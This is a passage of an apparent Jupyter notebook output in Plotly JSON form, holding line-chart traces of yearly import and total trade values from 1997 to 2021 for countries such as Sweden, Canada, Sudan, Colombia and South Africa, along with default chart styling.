"2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 30.21, - 37.68, - 44.23, - 45.01, - 67.38, - 90.83, - 194.74, - 378.4, - 577.7, - 470.33, - 634.96, - 356.57, - 392.19, - 501.73, - 637.43, - 625.81, - 666.93, - 756.17, - 742.79, - 602.2, - 772.63, - 1488.4, - 903.69, - 642.94, - 766.66 - ] - }, - { - "mode": "lines", - "name": "ST KITT N A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.02, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 0.09, - 0, - 0.03, - 0, - 0.1, - 0, - 0.02, - 0.37, - 0.16, - 0.01, - 0, - 0, - 0, - 0, - 1.01 - ] - }, - { - "mode": "lines", - "name": "ST LUCIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 3.78, - 25.58, - 0.48, - 0.32, - 0.47, - 0.41, - 0.5, - 0.14, - 0.45, - 0.24, - 0.32, - 0.57, - 0.61, - 0.39, - 0.12 - ] - }, - { - "mode": "lines", - "name": "SUDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.47, - 15.12, - 6.61, - 8.02, - 13.42, - 24.49, - 31.22, - 22.88, - 32.62, - 89.08, - 433.14, - 415.53, - 475, - 613.78, - 430.79, - 127.14, - 436.43, - 569.66, - 149.2, - 245.15, - 452.07, - 742.63, - 396.75, - 368.28, - 99.18 - ] - }, - { - "mode": "lines", - "name": "SURINAME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.14, - 0, - 0, - 0.19, - 0.26, - 3.25, - 0.51, - 0.96, - 6.48, - 1.09, - 0.86, - 1.2, - 1.47, - 0.88, - 4.4, - 13.4, - 13.15, - 210.87, - 43.33, - 45.92, - 92.76, - 89.39, - 55.07, - 34.14, - 24.32 - ] - }, - { - "mode": "lines", - "name": "SWAZILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.01, - 0.31, - 0.56, - 0.95, - 0.21, - 0.45, - 1.69, - 3.14, - 23.63, - 56.89, - 37.47, - 39.78, - 33.01, - 109.49, - 46.01, - 70.71, - 124.66, - 22.03, - 40.82, - 39.24, - 8.92, - 9.6, - 7.03, - 50.87, - 234.42 - ] - }, - { - "mode": "lines", - "name": "SWEDEN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 274.48, - 200.22, - 238.79, - 238.19, - 402.21, - 517.56, - 698.79, - 937.33, - 1172.2, - 1932.46, - 2128.11, - 1952.5, - 1590.14, - 1619.38, - 1940.78, - 1681.43, - 1679.42, - 1748.4, - 1484.85, - 1161.12, - 1464.47, - 1326.85, - 1114.48, - 1004.76, - 1070.57 - ] - }, - { - "mode": "lines", - "name": "KENYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.95, - 36.21, - 21.02, - 19.02, - 31.94, - 33.55, - 41.93, - 46.73, - 48.52, - 56.46, - 86.64, - 82.17, - 78.93, - 123.98, - 113.39, - 105.95, - 126.63, - 117.42, - 127.55, - 104.36, - 72.57, - 137.12, - 89.62, - 130.27, - 115.14 - ] - }, - { - "mode": "lines", - "name": "LITHUANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.29, - 0.2, - 10.32, - 1.09, - 0.95, - 5.59, - 10.8, - 17.64, - 28.96, - 20.16, - 9.65, - 572.67, - 72.69, - 125.45, - 203.37, - 45.91, - 53.7, - 111.91, - 214.35, - 271.16, - 189.38, - 212.13, - 262.09, - 321.05, - 130 - ] - }, - { - "mode": "lines", - "name": "JORDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 168.37, - 275.98, - 262.76, - 242.63, - 209.76, - 224.45, - 230.27, - 355.89, - 442.33, - 470.9, - 687.06, - 1776.57, - 823.43, - 818.93, - 1483.06, - 942.28, - 610.71, - 857.85, - 853.12, - 828.24, - 984.98, - 1116.25, - 1064.66, - 1065.53, - 1283.5 - ] - }, - { - "mode": "lines", - "name": "COLOMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.01, - 2, - 2.76, - 9.74, - 5.4, - 5.83, - 10.47, - 14.17, - 9.36, - 76.82, - 83.78, - 17.44, - 424.15, - 856.31, - 559.83, - 2352.79, - 4970.62, - 2134.94, - 807.79, - 593.96, - 592.8, - 1054.98, - 810.95, - 1403.61, - 2190.97 - ] - }, - { - "mode": "lines", - "name": "BURKINA FASO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.13, - 12.75, - 10.51, - 12.71, - 9.59, - 10.45, - 8.44, - 2.69, - 5.56, - 19.36, - 40.07, - 6.14, - 4.11, - 16.41, - 14.66, - 16.55, - 151.64, - 238.11, - 256.42, - 632.57, - 881.27, - 542.67, - 359.94, - 371.85 - ] - }, - { - "mode": "lines", - "name": "BURUNDI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.16, - 0, - 0.08, - 0.07, - 0, - 0.3, - 0.43, - 0.04, - 0, - 1.85, - 0.71, - 0.73, - 0.24, - 0.6, - 0.23, - 0.18, - 0.29, - 0.11, - 1.6, - 16.53, - 4.55, - 3.83, - 0.07, - 0.04 - ] - }, - { - "mode": "lines", - "name": "C AFRI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.14, - 4.55, - 0, - 0.12, - 0.26, - 0.37, - 0.45, - 1.15, - 2.45, - 0.67, - 1.55, - 2, - 1.99, - 0.91, - 0.63, - 0.83, - 0.38, - 9.88, - 2.02, - 0.56, - 0.23, - 0 - ] - }, - { - "mode": "lines", - "name": "CAMBODIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.51, - 2.44, - 0.24, - 1.32, - 1.12, - 0.61, - 0.28, - 0.24, - 0.78, - 1.6, - 2.9, - 2.72, - 5.05, - 8.01, - 7.27, - 11.9, - 12.72, - 17.96, - 54.43, - 36.1, - 55.84, - 42.63, - 46.69, - 39.35, - 63 - ] - }, - { - "mode": "lines", - "name": "CAMEROON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 16.32, - 5.15, - 9.44, - 5.9, - 8.83, - 6.57, - 10.3, - 11.71, - 12.23, - 7.65, - 18.81, - 30.97, - 137.38, - 138.1, - 523.21, - 443.18, - 268.31, - 745.36, - 557.54, - 359.11, - 212.82, - 343.2, - 676.36, - 202.47, - 363.8 - ] - }, - { - "mode": "lines", - "name": "CANADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 420.91, - 385.57, - 380.51, - 397.07, - 529.43, - 566.29, - 725.89, - 775.72, - 919.87, - 1775.88, - 1981.22, - 2458.65, - 2097.35, - 2029.98, - 2918.76, - 2800.22, - 3148.25, - 3749.42, - 4234.03, - 4131.52, - 4728.51, - 3515.41, - 3880.33, - 2686.43, - 2158.01 - ] - }, - { - "mode": "lines", - "name": "CAPE VERDE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.2, - 0, - 0.33, - 0.11, - 2.08, - 3.36, - 3.42, - 3.18, - 2.97, - 2.77, - 1.9, - 2.82, - 2.91, - 2.04, - 2.04, - 3.46 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 891.9, - 1739.59, - 2301.12, - 1332.58, - 1793.84, - 2577.46, - 2438.53, - 3181.7, - 3998.67, - 4711.75, - 6266.1, - 7493.87, - 7732.99, - 11052.91, - 15702.94, - 13994.82, - 11149.55, - 11798.51, - 9536.48, - 9379.71, - 10659.91, - 10584.54, - 11077.97, - 11502.39, - 12767.99 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "SOUTH AFRICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 891.9, - 1739.59, - 2301.12, - 1332.58, - 1793.84, - 2577.46, - 2438.53, - 3181.7, - 3998.67, - 4711.75, - 6266.1, - 7493.87, - 7732.99, - 11052.91, - 15702.94, - 13994.82, - 11149.55, - 11798.51, - 9536.48, - 9379.71, - 10659.91, - 10584.54, - 11077.97, - 11502.39, - 12767.99 - ] - }, - { - "mode": "lines", - "name": "SPAIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 602.96, - 713.63, - 687.84, - 808.4, - 845.98, - 987.61, - 1261.36, - 1778.91, - 2179.13, - 2506.08, - 3289.23, - 3561.95, - 3124.79, - 4052.87, - 4809.06, - 4681.4, - 4727.83, - 5153.32, - 4883.13, - 5393.76, - 5658.48, - 5862.99, - 5558.61, - 4750.44, - 4909.38 - ] - }, - { - "mode": "lines", - "name": "SRI LANKA DSR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 519.43, - 474.8, - 543.5, - 685.15, - 698.27, - 1011.81, - 1513.93, - 1791.58, - 2602.37, - 2728.63, - 3465.39, - 2782.49, - 2580.2, - 4009.23, - 5016.23, - 4609.68, - 5201.27, - 7459.89, - 6053.54, - 4515.35, - 5249.09, - 6198.6, - 4704.61, - 4141.17, - 4420.08 - ] - }, - { - "mode": "lines", - "name": "ST KITT N A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 0, - 0, - 0, - 0, - 0, - 0, - 0.42, - 0.39, - 0.63, - 0, - 1.5, - 0, - 0.76, - 0.63, - 1.23, - 1.62, - 2.36, - 3.1, - 2.87, - 2.37, - 0, - 0.99, - 2.52 - ] - }, - { - "mode": "lines", - "name": "ST LUCIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.32, - 0, - 0, - 0, - 0.74, - 0.66, - 4.32, - 26.64, - 1.65, - 2.88, - 1.79, - 1.44, - 2.78, - 2.27, - 3.13, - 4.56, - 4.38, - 4.58, - 3.85, - 3.79, - 2.91 - ] - }, - { - "mode": "lines", - "name": "SUDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 49.04, - 70.08, - 78.08, - 105.81, - 135.61, - 129.67, - 138.59, - 340.33, - 327.26, - 492.56, - 840.66, - 900.6, - 936.06, - 1102.24, - 1148.16, - 882.26, - 1299.47, - 1452.13, - 931.56, - 993.86, - 1274.78, - 1663.52, - 1493.63, - 1390.61, - 793.4 - ] - }, - { - "mode": "lines", - "name": "SURINAME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.22, - 0, - 1.2, - 1.65, - 5.07, - 4.24, - 18.53, - 22.15, - 17.76, - 12.07, - 14.66, - 17.73, - 12.95, - 14.83, - 43.74, - 37.33, - 228.49, - 56.18, - 56.42, - 110.14, - 111.97, - 86.19, - 51.26, - 37.04 - ] - }, - { - "mode": "lines", - "name": "SWAZILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.19, - 0.93, - 1.63, - 2.46, - 1.59, - 13.38, - 30.76, - 25.41, - 28.86, - 61.61, - 47.82, - 81.45, - 53.28, - 196.39, - 68.92, - 117.97, - 147.47, - 61.96, - 100.71, - 78.8, - 41.63, - 28.8, - 25.61, - 75.19, - 253.9 - ] - }, - { - "mode": "lines", - "name": "SWEDEN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 440.43, - 349.83, - 385.27, - 414.35, - 556.48, - 693.85, - 918.66, - 1179.13, - 1498.59, - 2320.16, - 2672.31, - 2519.18, - 2066.76, - 2247.12, - 2765.79, - 2367.58, - 2412.86, - 2488.87, - 2168.4, - 1870.05, - 2235.97, - 2119.08, - 1862.9, - 1768.6, - 1818.45 - ] - }, - { - "mode": "lines", - "name": "KENYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 144.86, - 181.4, - 137.75, - 159.95, - 187.95, - 237.14, - 271.41, - 473.36, - 625.06, - 1365.67, - 1671.27, - 1444.27, - 1530.92, - 2305.99, - 2390.85, - 3876.29, - 4008.78, - 4235.36, - 